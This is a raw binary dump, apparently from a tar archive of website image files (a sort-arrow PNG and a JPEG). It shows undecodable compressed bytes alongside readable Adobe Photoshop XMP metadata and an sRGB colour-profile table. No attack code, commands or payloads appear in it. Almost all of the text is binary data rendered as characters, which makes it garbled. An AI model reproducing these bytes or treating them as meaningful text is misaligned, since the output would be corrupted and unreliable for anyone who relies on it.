�ـT�&�v{�5�$:e�A�)]�����7��z+!��
�rzx�a֦��t�f�9���If��o��/7r�Ğ�<�	�ny5j�Y��v��)dҭ�����k�o�؜7�lm�l��{I-Y��e��N���/��D��>�D���?�2wq�$�����Pt~F)���I�@O�X�-3U���"�O��^+�+Sʝy ?�$�7�t�P%ݣYK��B��&Zj?��{y�H�<r䠎�?�Ո��ф�נVR6�q4�<J�j6C���:��%������5�9��!�+�����{g���Sg+!FEF!���4m���k��:a�J&�mE��m^�2��ma�2�P�%?lI�=�"�+f�{�g�I�ٱK�UGLil��сD�I&�
E1Eje�Q%��zKM��)�,H�E#
��wf�BKC��(z�;��Ճ!%F20؊d�{e|(�ӹV��Y
���ˠ�Z�G|HGN��YSJ��>� T�1/za��.Ha�N�8�˛���a$��
҄�l���Y4��󆎼��FA&�
�Z�Ԅ�E��؟�t�G����@�_?^I�~[\[;WP���5'����L��"�H�qD�x�Iq+5�\ܟR�S�
z'݃��Z|*w,��9��2���F7�sՏ|R[��Z�͆�y:d�AFB��L�*/SZ|�ʓV�Bc�NMҪ���2�z�v72�E�vZ�J���Q4��.QI|�z��$2q���������+�n�R�I�z�8Epo�г
���@|��:��y��؉���֛���;^��kː�8ѩ��v���c�֙W�������#Z����e]�.��������:u���+z�v�@�8Ƨ�)�=�J�#��k�{�H/�=��k,L
vaZ��9���Ugy��$Z��m*wHi$�$�?�d�
4�9,f��8Á+IU�\���ҁSj�a$Qs2�-�
E�W�\���W)#W8�6�"������z0��ָ��J� �xQ���%�*j�l;u
��+����v�� ��u�,��ev��x�#�P֛���r�[���z��
�L���^XB��)�{�O�ė�^�9p��)�&����W�O]��!#8E�Z�⟘�ho6����6� �6,���Au�F�[F�1����ߞr���O�b�e��v���&��\�œ�;��+�<v�-4��"��U��0�~�6�D�Inƣ���wO�.��'v5�����0d~a�O������n^�
~T™��I�`��c�y�".�V	81���n�	@�v#���v�/�a���ݹd���=p�T�ki�[pT�a�I���B�WT����4�Ȗ��ɧ�T��+p�oK�.������jGr��aڒ���;[u �tMN[YS����$g�O/ស�o��4�]B/�s�OF��	oE�U��g|y��d��{e����ӀF�ŀ��A��@FZ�}3S.���
�0��6 �bR�F�
FG�	�LV�2S�\}w˭q���F��Ҵ�ou-�U׊P�����`�zU��W+ʢ���Ȭ��A���A�oܜ�jV�$d(�#oh��yE)��4X�ht�k�����`�����O����ۈ�R~_�l<���ry@A�I��s�V���=bO���H�l�ƒl[�6��d�Ql(�kk�S��RO�"$|�jo�"�F$�6��0~�xGz��a�X%�g������=KI6�^�*�k�001ӡ�
OlxSi��uh�'��%��jP����5֜�
U�r�F�u�L�w�.�Fx$���ة�@~Uk��~\K��y��|T�J���5qr����~Wj��\���H;r�#]A60�⌾§"������ߩ��<�:o��x(���q͂�	��BJFYlS����%%���H�q6�$�]k�T�U��be��Q�e��"Zcĸ�QA�qA.�p	����hLOƻ�U��n��q�\ʢ��Ӵ�{8���&~�)�Zg^���c�|y"��.$�Lh�s��n]��,t�`v�+���GQ�c��Bz�I��V�(�lM��M1f�����CȒ!�P�wG_�����1�b�#I4�����`�>��[^BvIQ��a�5+5����[IJ�N��#ȧ����kx�^���x�a_��잶���z���Q�"y�H�7n������އ��qW����El@W+�b�W�	.Z��
�6,%��劏S$�az�I� 9c�qV��\��lM�J�!�3�f�GW�b�~Ǧo\:�*h���
憸�s��`y���Z9���fî^u���S��R�M�&��f�S��a'�CZa]���_l�p꡺���:�Hr��\1���E:b�zґ���눎|~,L���)�:��m�}T�_Ը����z�z����Q�l<
풳�q�ɟ�z4�yy���&�ND�d��F���;'����\����!����˧�#���images/sort_desc_disabled.png000060400000002025150710775200012332 0ustar00�PNG


IHDRrP6�tEXtSoftwareAdobe ImageReadyq�e<"iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Macintosh" xmpMM:InstanceID="xmp.iid:43FCEFF422C111E1A1F1ADAD5B2A538C" xmpMM:DocumentID="xmp.did:43FCEFF522C111E1A1F1ADAD5B2A538C"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:14C0396B22C111E1A1F1ADAD5B2A538C" stRef:documentID="xmp.did:14C0396C22C111E1A1F1ADAD5B2A538C"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>{vY��IDATx�b���?���a����0l�w�ލR��d(++�'�e�x?s`�G�x
)�	�-@�M�=7c'f �{e= '@��$ ��?�^�8Y�y�'�o���H�M40�U�x*!����p03 Ӕ���IEND�B`�images/img2.jpg000060400000067272150710775200007367 0ustar00���[ExifMM*bj(1r2��i��
��'
��'Adobe Photoshop CC (Windows)2014:01:27 19:33:10����&(.%HH���Adobe_CM��Adobed����			



����"��
��?	
	
3!1AQa"q�2���B#$R�b34r��C%�S���cs5���&D�TdE£t6�U�e���u��F'������������Vfv�������7GWgw�������5!1AQaq"2����B#�R��3$b�r��CScs4�%���&5��D�T�dEU6te����u��F������������Vfv�������'7GWgw������?��2p��LT�JJP
A0NJ�)�r�9A�S�8&S
Q>i%���%yVÝ��j�����\���nfES�k��Ao��zF�Q��G�����M.$x8*��ʥ�ah&7��^��X�@A����F���DI@a�k�\@䭘c�̦�c������ ���wq�%�E�U�����#s'�
�c�����X�U�����q��K�9��=�=�YS�v�����b���WG
O��G�j��d�I��Q��E�x�X���ɗU��-�����$���bf�.��H�º�����j}�*h��L<r�⒘��R��(���`�^�uiIL1 ���u`m:"���))龥d~�^�.aoͧx^�"|u^��MYx��C[��'�����6[M~�H��G=ׇT'�Ae�'��k�
d�����"D�5߆��N��P�,����x���PSQ�B�Z���W�iq�c[]�U����6B(?���}�ƹ�G�Ǟ�����_������u7w9��?q�噋�Fu/Ǻ���1��r�dX�c��r@j�#�/�tϭ�=�fV������:�oa�@���`��W��V̷=�z�������ZAl�䉽��i�n��O4����w�=B��n
��k��_P��]oG�m��]�;���#W��^Z�{|$&���������!��φ����Rf�5�9��D�6���5u�b�n�K��q�~<
�yq�r�~�a�W"�!N���u��i�f�W����~�u�lRNG�[Ɇ]����g�F�+�O�}\��E�
�:�/o��uN�pp��e��l�9�v���k�}&���}g�I���?�,~����+���|pvW<n��R����0&azO�N��;]�
b�p'de�"ZHjL�/V��W�Y��&�SK��[s]�3�U��F�lT7Dj��8Q𞋭�sA����T���.a�P�A֖�
xYm˱�H+�4�(��$����=�������>�{
����i��SH�w�k��7xw���u���8{la�?�U�=J��^�k]�x��	�:�_"xHn�E�hý�F��qi?�'�zc�kv���]]5$~b�?(����|gQ�Ρ�ݍS�ڛ��>�W���b�	s�wUӮ�􅻄;���,�����~=�� ��7�v/2���ռH�>K�>�t�۾�[�ӈa���e��ͽ�ժ�ʬ�7��7�>?�D$5�������~�^l<��޽��V~�_O���\�	~�'�K?�Wa��Θ�cF�K���c�;��\Jy����;6��ta���R��OG���
��
��'�uLim���~{����Z�V���\��Tr��W�
�e���S�G�V���
��D�*%�)J[�Tn����7����b���>����/���JB�D�>��j�6)���'T�� ����a2?���]�M��@��^H�����὎��C�*�=W&��Xls�A?�ji�e��Ln���#�Ƴ��?�5l��ǁ����PW���4me�YG��g��ܺ�.�ЫqvCnv��1���}����2ʿ�ީ�{��]�� F�W����.'�W-�w�H�Y���
sk6����X͎�l�k�}��,�H�:��N�ѫm�V]{-�8�:ʬ���fn��o�,��h��Ks�-�88�C�t�#X�ʤ��[��%�����h��t�[c��}�O�c�����E����e�~��\ڞ��q�h����2��؁
���Lw�V�����Y��ٌ�Z~�O�4E������R�=<�W����:${���dVͯi�Q�&4�`s�o�7K���eWe}��Z>I�����aX*��Ӭ�l�˨z�i��u_�G�"��47�(68V	~�wG��勺R�eO�4����X񣆨�����ԩ.������݂w�.�7�H�8;#��9sF�h���ցkK�#�e	껉�K�J�����#4y�e������j�?[uֵ�����.*U���@����=�T��x)֗���LF��&�;�&	�I��†���&G��@x���(�����m`��mq�=f���vU%�����{�[GRP$�6s��B�l�ư�g��ٷ��ƪ���:mv7y���뷟�XV�(�����[mSR�����m�wOu7=��i�#�=+-Ϊ��G�i3q��G���u��ՠt����$���.�[�[���Uʾ�n����`
���?�3Y�f��]�Q���UzwTץ�]c=�d�mY,�����o�Z]B6|֘�=�����6�c{�z�37�/K�c:����
s����f_���R��`?۝]�6���L���[�?���DH�j<��t�C�X|y	[i����*�\�V˘��C��r�n���rv��2�XG���m=4�cU�C�O�(Lq�E�z��c�O�]�����N���T
�n���?�����p�{.C�/�zr��t�+�Na���h��]Xr�rT�ƆE�y.��c鵜��#�^��k�쭗��d���;�R[k6^�5����.+��tK�>sf���C]�r��/g�9�uZ@���
�����8]kQ�a��+��uw��dZgC"TTW������E��D��G��]�y�)��;�?'����[[�im%�7t�k��k�F��X�k�r+�������:g\��h�朜1VO���u�w��[�
zp������ݴ��Cw=�o�>5��t}��mS?E�?�ug�S�ֽ�e�p-p��A��B
d\75�͘�5<ҍC�!�2�wk���m��U���C\�kv�{��w�TM�5�9�F�9$�s��Oc^�[�o�A.�7�/R�����q9�A��}9��[��+=,�u�2��г�Z�&�?��řX�7�n��ع���XY��ߍy�q�2q.����糸��}���#��Tyhغ���c�w����'Mw�6?w���-<O�mhT3*��B+�.�m��|��c�}?�^6Fں�5�7*����_��N�~��2�m����}�R_?��������PH� ��et��=,�m��}�ƺ����?v5�o~�Q��K[�2I�Г���W+w@�ޝv�3��i��c�$��6����
��q�.��ݙq~=����I�������l��TD���t-������g�M`���ɝ����ߟ��bmдq��Ʃ�R�UEmmU��
k[���b�4�Z�*������u#ɨ�����C��m��A�0��%���� �;�}P�}ӛ�7ea4ɤ�l`�I�	_�����XpG1��	m:��+����:����$6��_Wy���M1��v(����f��U-|5I��Z�O���c"�@��!'T����'�F��|M3���ĸdb�i����A�Ǵ�,����t�[NN�L��u�
��
�a��7;�.��D��TKA۸<$�{�5�q��2?��'�!Ʀ�=�]����Yݯ��9�~�d�5��-vV#@kA�v���;��צ�Jn�&��cZ.�`�hZ��v���/B�����|�0=�0��ۻg�s�z��􈃅�%u��o/�Q�q��-#��C���ױ�����Z����/#0�)`���vj��ko�4��;=a��%��1�VgUꏢ���4;"�^���_���o��A8�X����BNJ�u��$|xo�% ݀3Oh
�@���o�kU^�f�WP��s��x����i1�����Bp��T��rpRS�������X�;��SYq���YC��IÙt=����� !���BiSV̈���=���j� Lx��S��OPR����ced�����j�.n���-��˫�E���ӄ�]L��$#j���w;mWm��$�H��c��{��_�Z�h���-p �B����۲��X20��2ò�6�_�V����q��[ZHzYv�Vq~��i$C�K�w�����m\V���_b�_]�m[��iq����}/�K��{ף��1)�7�k�m�k}�7�CtH�UK�Pv}��XK\ډ�,kkc����{�������qk/o��Y���2����}�
�Z�}L��]tc�5�ň��%�I��?2�s.eXA���i
��s-�o��S�vu���(n��8m����[ĂI��I���JyI	�'AܟrJ����r
���g�B�$x-,@'�&�����V�=��eR����p@��gO�-T��x$ǐ[�ӟ�I�V���AV�v�[�=� ��A�!t�]0,�V.F%�<�K�im��2��?v�Nk�j>j$�ò
t~���:��Ʋ�k)c����{��L��ٲ-�ָ����M���ˋܳzE>�;�<�g��IZ7+�˄���xs*��F76�1Ug����Y�ݼ�@j���*@u��cO��}ʖ=f3�wģ��1H�NS�U�D��I	�'@��C���TPhotoshop 3.08BIM%8BIM:�printOutputPstSboolInteenumInteClrmprintSixteenBitboolprinterNameTEXTprintProofSetupObjcProof Setup
proofSetupBltnenumbuiltinProof	proofCMYK8BIM;-printOutputOptionsCptnboolClbrboolRgsMboolCrnCboolCntCboolLblsboolNgtvboolEmlDboolIntrboolBckgObjcRGBCRd  doub@o�Grn doub@o�Bl  doub@o�BrdTUntF#RltBld UntF#RltRsltUntF#Pxl@R
vectorDataboolPgPsenumPgPsPgPCLeftUntF#RltTop UntF#RltScl UntF#Prc@YcropWhenPrintingboolcropRectBottomlongcropRectLeftlong
cropRectRightlongcropRectToplong8BIM�HH8BIM&?�8BIM
x8BIM8BIM�	8BIM'
8BIM�H/fflff/ff���2Z5-8BIM�p��������������������������������������������������������������������������������������������8BIM8BIM8BIM08BIM-8BIM@@8BIM8BIMI��
Untitled-1��nullboundsObjcRct1Top longLeftlongBtomlong�Rghtlong�slicesVlLsObjcslicesliceIDlonggroupIDlongoriginenumESliceOrigin
autoGeneratedTypeenum
ESliceTypeImg boundsObjcRct1Top longLeftlongBtomlong�Rghtlong�urlTEXTnullTEXTMsgeTEXTaltTagTEXTcellTextIsHTMLboolcellTextTEXT	horzAlignenumESliceHorzAligndefault	vertAlignenumESliceVertAligndefaultbgColorTypeenumESliceBGColorTypeNone	topOutsetlong
leftOutsetlongbottomOutsetlongrightOutsetlong8BIM(?�8BIM8BIMA���,%���Adobe_CM��Adobed����			



����"��
��?	
	
3!1AQa"q�2���B#$R�b34r��C%�S���cs5���&D�TdE£t6�U�e���u��F'������������Vfv�������7GWgw�������5!1AQaq"2����B#�R��3$b�r��CScs4�%���&5��D�T�dEU6te����u��F������������Vfv�������'7GWgw������?��2p��LT�JJP
A0NJ�)�r�9A�S�8&S
Q>i%���%yVÝ��j�����\���nfES�k��Ao��zF�Q��G�����M.$x8*��ʥ�ah&7��^��X�@A����F���DI@a�k�\@䭘c�̦�c������ ���wq�%�E�U�����#s'�
�c�����X�U�����q��K�9��=�=�YS�v�����b���WG
O��G�j��d�I��Q��E�x�X���ɗU��-�����$���bf�.��H�º�����j}�*h��L<r�⒘��R��(���`�^�uiIL1 ���u`m:"���))龥d~�^�.aoͧx^�"|u^��MYx��C[��'�����6[M~�H��G=ׇT'�Ae�'��k�
d�����"D�5߆��N��P�,����x���PSQ�B�Z���W�iq�c[]�U����6B(?���}�ƹ�G�Ǟ�����_������u7w9��?q�噋�Fu/Ǻ���1��r�dX�c��r@j�#�/�tϭ�=�fV������:�oa�@���`��W��V̷=�z�������ZAl�䉽��i�n��O4����w�=B��n
��k��_P��]oG�m��]�;���#W��^Z�{|$&���������!��φ����Rf�5�9��D�6���5u�b�n�K��q�~<
�yq�r�~�a�W"�!N���u��i�f�W����~�u�lRNG�[Ɇ]����g�F�+�O�}\��E�
�:�/o��uN�pp��e��l�9�v���k�}&���}g�I���?�,~����+���|pvW<n��R����0&azO�N��;]�
b�p'de�"ZHjL�/V��W�Y��&�SK��[s]�3�U��F�lT7Dj��8Q𞋭�sA����T���.a�P�A֖�
xYm˱�H+�4�(��$����=�������>�{
����i��SH�w�k��7xw���u���8{la�?�U�=J��^�k]�x��	�:�_"xHn�E�hý�F��qi?�'�zc�kv���]]5$~b�?(����|gQ�Ρ�ݍS�ڛ��>�W���b�	s�wUӮ�􅻄;���,�����~=�� ��7�v/2���ռH�>K�>�t�۾�[�ӈa���e��ͽ�ժ�ʬ�7��7�>?�D$5�������~�^l<��޽��V~�_O���\�	~�'�K?�Wa��Θ�cF�K���c�;��\Jy����;6��ta���R��OG���
��
��'�uLim���~{����Z�V���\��Tr��W�
�e���S�G�V���
��D�*%�)J[�Tn����7����b���>����/���JB�D�>��j�6)���'T�� ����a2?���]�M��@��^H�����὎��C�*�=W&��Xls�A?�ji�e��Ln���#�Ƴ��?�5l��ǁ����PW���4me�YG��g��ܺ�.�ЫqvCnv��1���}����2ʿ�ީ�{��]�� F�W����.'�W-�w�H�Y���
sk6����X͎�l�k�}��,�H�:��N�ѫm�V]{-�8�:ʬ���fn��o�,��h��Ks�-�88�C�t�#X�ʤ��[��%�����h��t�[c��}�O�c�����E����e�~��\ڞ��q�h����2��؁
���Lw�V�����Y��ٌ�Z~�O�4E������R�=<�W����:${���dVͯi�Q�&4�`s�o�7K���eWe}��Z>I�����aX*��Ӭ�l�˨z�i��u_�G�"��47�(68V	~�wG��勺R�eO�4����X񣆨�����ԩ.������݂w�.�7�H�8;#��9sF�h���ցkK�#�e	껉�K�J�����#4y�e������j�?[uֵ�����.*U���@����=�T��x)֗���LF��&�;�&	�I��†���&G��@x���(�����m`��mq�=f���vU%�����{�[GRP$�6s��B�l�ư�g��ٷ��ƪ���:mv7y���뷟�XV�(�����[mSR�����m�wOu7=��i�#�=+-Ϊ��G�i3q��G���u��ՠt����$���.�[�[���Uʾ�n����`
���?�3Y�f��]�Q���UzwTץ�]c=�d�mY,�����o�Z]B6|֘�=�����6�c{�z�37�/K�c:����
s����f_���R��`?۝]�6���L���[�?���DH�j<��t�C�X|y	[i����*�\�V˘��C��r�n���rv��2�XG���m=4�cU�C�O�(Lq�E�z��c�O�]�����N���T
�n���?�����p�{.C�/�zr��t�+�Na���h��]Xr�rT�ƆE�y.��c鵜��#�^��k�쭗��d���;�R[k6^�5����.+��tK�>sf���C]�r��/g�9�uZ@���
�����8]kQ�a��+��uw��dZgC"TTW������E��D��G��]�y�)��;�?'����[[�im%�7t�k��k�F��X�k�r+�������:g\��h�朜1VO���u�w��[�
zp������ݴ��Cw=�o�>5��t}��mS?E�?�ug�S�ֽ�e�p-p��A��B
d\75�͘�5<ҍC�!�2�wk���m��U���C\�kv�{��w�TM�5�9�F�9$�s��Oc^�[�o�A.�7�/R�����q9�A��}9��[��+=,�u�2��г�Z�&�?��řX�7�n��ع���XY��ߍy�q�2q.����糸��}���#��Tyhغ���c�w����'Mw�6?w���-<O�mhT3*��B+�.�m��|��c�}?�^6Fں�5�7*����_��N�~��2�m����}�R_?��������PH� ��et��=,�m��}�ƺ����?v5�o~�Q��K[�2I�Г���W+w@�ޝv�3��i��c�$��6����
��q�.��ݙq~=����I�������l��TD���t-������g�M`���ɝ����ߟ��bmдq��Ʃ�R�UEmmU��
k[���b�4�Z�*������u#ɨ�����C��m��A�0��%���� �;�}P�}ӛ�7ea4ɤ�l`�I�	_�����XpG1��	m:��+����:����$6��_Wy���M1��v(����f��U-|5I��Z�O���c"�@��!'T����'�F��|M3���ĸdb�i����A�Ǵ�,����t�[NN�L��u�
��
�a��7;�.��D��TKA۸<$�{�5�q��2?��'�!Ʀ�=�]����Yݯ��9�~�d�5��-vV#@kA�v���;��צ�Jn�&��cZ.�`�hZ��v���/B�����|�0=�0��ۻg�s�z��􈃅�%u��o/�Q�q��-#��C���ױ�����Z����/#0�)`���vj��ko�4��;=a��%��1�VgUꏢ���4;"�^���_���o��A8�X����BNJ�u��$|xo�% ݀3Oh
�@���o�kU^�f�WP��s��x����i1�����Bp��T��rpRS�������X�;��SYq���YC��IÙt=����� !���BiSV̈���=���j� Lx��S��OPR����ced�����j�.n���-��˫�E���ӄ�]L��$#j���w;mWm��$�H��c��{��_�Z�h���-p �B����۲��X20��2ò�6�_�V����q��[ZHzYv�Vq~��i$C�K�w�����m\V���_b�_]�m[��iq����}/�K��{ף��1)�7�k�m�k}�7�CtH�UK�Pv}��XK\ډ�,kkc����{�������qk/o��Y���2����}�
�Z�}L��]tc�5�ň��%�I��?2�s.eXA���i
��s-�o��S�vu���(n��8m����[ĂI��I���JyI	�'AܟrJ����r
���g�B�$x-,@'�&�����V�=��eR����p@��gO�-T��x$ǐ[�ӟ�I�V���AV�v�[�=� ��A�!t�]0,�V.F%�<�K�im��2��?v�Nk�j>j$�ò
t~���:��Ʋ�k)c����{��L��ٲ-�ָ����M���ˋܳzE>�;�<�g��IZ7+�˄���xs*��F76�1Ug����Y�ݼ�@j���*@u��cO��}ʖ=f3�wģ��1H�NS�U�D��I	�'@��C��8BIM!SAdobe PhotoshopAdobe Photoshop CC8BIM��
�http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmp:CreatorTool="Adobe Photoshop CC (Windows)" xmp:CreateDate="2014-01-27T19:33:10-08:00" xmp:MetadataDate="2014-01-27T19:33:10-08:00" xmp:ModifyDate="2014-01-27T19:33:10-08:00" xmpMM:InstanceID="xmp.iid:2f1d0981-5da1-6842-ba8a-bec39f5f6b82" xmpMM:DocumentID="xmp.did:9424eea1-978c-f646-a164-e3a0f0c4ddd4" xmpMM:OriginalDocumentID="xmp.did:9424eea1-978c-f646-a164-e3a0f0c4ddd4" dc:format="image/jpeg" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:9424eea1-978c-f646-a164-e3a0f0c4ddd4" stEvt:when="2014-01-27T19:33:10-08:00" stEvt:softwareAgent="Adobe Photoshop CC (Windows)"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:2f1d0981-5da1-6842-ba8a-bec39f5f6b82" stEvt:when="2014-01-27T19:33:10-08:00" stEvt:softwareAgent="Adobe Photoshop CC (Windows)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 <?xpacket end="w"?>��XICC_PROFILEHLinomntrRGB XYZ �	1acspMSFTIEC sRGB���-HP  cprtP3desc�lwtpt�bkptrXYZgXYZ,bXYZ@dmndTpdmdd��vuedL�view�$lumi�meas$tech0rTRC<gTRC<bTRC<textCopyright (c) 1998 Hewlett-Packard CompanydescsRGB IEC61966-2.1sRGB IEC61966-2.1XYZ �Q�XYZ XYZ o�8��XYZ b����XYZ $����descIEC http://www.iec.chIEC http://www.iec.chdesc.IEC 61966-2.1 Default RGB colour space - sRGB.IEC 61966-2.1 Default RGB colour space - sRGBdesc,Reference Viewing Condition in IEC61966-2.1,Reference Viewing Condition in IEC61966-2.1view��_.���\�XYZ L	VPW�meas�sig CRT curv
#(-27;@EJOTY^chmrw|�������������������������
%+28>ELRY`gnu|����������������&/8AKT]gqz������������!-8COZfr~���������� -;HUcq~���������
+:IXgw��������'7HYj{�������+=Oat�������2FZn�������		%	:	O	d	y	�	�	�	�	�	�

'
=
T
j
�
�
�
�
�
�"9Qi������*C\u�����


&
@
Z
t
�
�
�
�
�.Id����	%A^z����	&Ca~����1Om����&Ed����#Cc����'Ij����4Vx���&Il����Ae����@e���� Ek���*Qw���;c���*R{���Gp���@j���>i���  A l � � �!!H!u!�!�!�"'"U"�"�"�#
#8#f#�#�#�$$M$|$�$�%	%8%h%�%�%�&'&W&�&�&�''I'z'�'�(
(?(q(�(�))8)k)�)�**5*h*�*�++6+i+�+�,,9,n,�,�--A-v-�-�..L.�.�.�/$/Z/�/�/�050l0�0�11J1�1�1�2*2c2�2�3
3F33�3�4+4e4�4�55M5�5�5�676r6�6�7$7`7�7�88P8�8�99B99�9�:6:t:�:�;-;k;�;�<'<e<�<�="=a=�=�> >`>�>�?!?a?�?�@#@d@�@�A)AjA�A�B0BrB�B�C:C}C�DDGD�D�EEUE�E�F"FgF�F�G5G{G�HHKH�H�IIcI�I�J7J}J�KKSK�K�L*LrL�MMJM�M�N%NnN�OOIO�O�P'PqP�QQPQ�Q�R1R|R�SS_S�S�TBT�T�U(UuU�VV\V�V�WDW�W�X/X}X�YYiY�ZZVZ�Z�[E[�[�\5\�\�]']x]�^^l^�__a_�``W`�`�aOa�a�bIb�b�cCc�c�d@d�d�e=e�e�f=f�f�g=g�g�h?h�h�iCi�i�jHj�j�kOk�k�lWl�mm`m�nnkn�ooxo�p+p�p�q:q�q�rKr�ss]s�ttpt�u(u�u�v>v�v�wVw�xxnx�y*y�y�zFz�{{c{�|!|�|�}A}�~~b~�#��G���
�k�͂0����W�������G����r�ׇ;����i�Ή3�����d�ʋ0�����c�ʍ1�����f�Ώ6����n�֑?����z��M��� ����_�ɖ4���
�u��L���$�����h�՛B��������d�Ҟ@��������i�ءG���&����v��V�ǥ8��������n��R�ĩ7�������u��\�ЭD���-�������u��`�ֲK�³8���%�������y��h��Y�ѹJ�º;���.���!������
�����z���p��g���_���X���Q���K���F���Aǿ�=ȼ�:ɹ�8ʷ�6˶�5̵�5͵�6ζ�7ϸ�9к�<Ѿ�?��D���I���N���U���\���d���l���v�ۀ�܊�ݖ�ޢ�)߯�6��D���S���c���s���
����2��F���[���p�����(��@���X���r�����4��P��m��������8��W��w����)���K��m����Adobed����





		
			
����"�����	
	
s!1AQa"q�2���B#�R��3b�$r��%C4S���cs�5D'���6Tdt���&�	
��EF��V�U(�������eu�������fv�������7GWgw�������8HXhx�������)9IYiy�������*:JZjz�������m!1AQa"q��2������#BRbr�3$4C��S%�c��s�5�D�T�	
&6E'dtU7��()��󄔤�����eu�������FVfv�������GWgw�������8HXhx�������9IYiy�������*:JZjz��������?�9�^V*�/(c�KGq��1�ep�+�Li��1���Wc��|r�qV��*+���)uYv�v/˫�XB�U\�1�SS�������S.�^_���vSw��d��yd�L[�4­�`yl�eB�&���i����yD#F*�T�α.��_�-���2��fz����f���r������cIV1)$�!�z����
��L>��v�H��f$��p6�+�w�E8��p�R�_l�7l[��ޟ�*��|c"�Q�8��#�A��6%�1ʴ��Fj`[���9�7��
��S=�ֲ�B�;�����C�S����P��哕����}*0%ݱ�e�P�We������SǮR�q�/c�Q�ötO��Kɡ��V�s��N�,�=��u��h%R�H�!1�)�HG�*��S�?�o{`����#7����„+ک;`�ӧ�r�%&�>��_S�ثF��&mQ�a��
�|��	K�n�	�?�H�x]�v<�3�̑dS���GP�#G`�uH۩�	��Ħ��3�8ļ��⾲R�vC�я�ƤT�#��z�Q����c�'�S�4�BD�u��b�Þ@"��,�t+�1�%-;57<-�=	�yv����ǁ�+����}��3Y�<u߈ ����̑�$�j%�9G:���)�[){[���և�"���ͦ�ױgQ�Q�_��%�;�S�,1b�E,
�x�'��ԩ�q�\*���
�Ԡ��+KF�D��;]
��3%�d�U��D�t�M�
7c�!q��M�<Z8��*�C�8w�\[�[�~ċ_��hѶ[5i����z�ئ����g�-\��a�ʠ1ɥ���Q��n��N���;�����X��H�1���,�8f�­��z��
�%�0�eӔ�l3˦5i������@�ˮ<(k�F5=F3��ִ�G�v�ҍ]���z�2���}2j)���t���!�6��{��/�F��?�1���u�ge�j�/�J�ʭ�'�Η�y�.UV�8I܍�q��R;[�fNk)�#�$�Mե���|�q�D�{��^��<�T���p�'U�2`f���l��J��[��{�I�x�����CjZ�uEd�8�v�2	��Si��L��z����s����]��h\��?V%�����PzvW�b�O�S���|��y7Z��׉n1���4zҝ랤���Ì���"�9ߝ��o���j*TK,���N`���	���-����ج���	�퇓�70��B���h�����
xt�����@�b1-N?.���R,nۏH�o�FF�~�|�a�)�)�0�e��"�C!K6Iv�P�} ���Υ ���FP�#NǗ�y�9}pG��0�.�^myk-����X�r�v�T�){�����]�39 �F�3[�}u�jd�n����'V"�,�}�-��@��S��D����@4�S:~���J��m�b�$�72�>�擾kp�q�mA!�z%u���-n�l�v�	�K��h�O�en��`{�}.�zਯ}�C A�mL��ݩ�el���+闘ze�CY��LU���v�%��&�J�-�l�KպN�
��]Oʩ	-l(z�I�ŵ�PV��P~����rD��R�bYPY��+S��E��Z��їrGLC̐���#Qlj�~]ګ]��v�?��2��=�>�umLm�-�ʃ2QPG@0]DkȚS�P`kٶ��+�Nۣp5�J��י���kW���W^����Y������Ϛ�~Y��-g�����?���f���F����=�v�:<'��d��ً�}�
eh�p"��ޫ������5���3sÐ�O*����=����Y�-��i٨߯��F�Ǎ���qCAJ׮uXy�:����D�xh*X�Ł"�mZ��2�ɪ��D��&�Px�/�i��OJ������\�ю{�
x���KZ�bO�P�
�jV�T�Ċ
��3��?�5�ʀ���2�Z���8�l��)Zt��D�����	�2��$���Z����L9(0�@�2�I�4~8�]���{`y-���Ȧ�T������
j뺜`3GָD���fS��|p�n��{n�?R8_��JY�hqa�����%$P{a柬�Z�`��a\7���) =NQt۳��"��(���@��a�k/Y���yI"E;�?�p�ɺ �X�䁾�}���!�]ZLO���2�x�a�)A���X��,$dekIज ��-1eއl<�G�'�m�4zb�� �Ĥw��0Z[y�K�}5�e4�W�3Ғ,�␡�{�a���G@)�{a�۷�u ��Elt|�}~u+˽Jm��Fzx�e��k��ҁ���2W�!Ti4�4�jz��m.��f2!V�E��4�S�.�*��K
��r�~^y�Nws\-k��F���������bG�kH��(5��F/�m��b�Һ��q�\Pṏ��6#�w�s�:U훯���>h��ן�Z�d�r�a�23�=D�Ƭ.�K�i<�<9gH��,��r#i�}^�j�!^��F�xbUu �e��5�}Q.Q���R����7*uŠ]\��̪:�h�[�6��wƑ�7�6(XTbm�+S�M��S�}L��i��A���88E����u�۰d5^��ލ�K�B�.J���9TW���4#�[�1��<{~2�0^�a���Λ��Yѯ^AX�m��i��f	ȯem�Wg}3���k�ZfW�4�6��[�7�865�z5Fs;�EC;"�5�|����.��ȕ#�-�t���2?NI#lt�����ww��_#��
$�h����+�b�|B���1(�
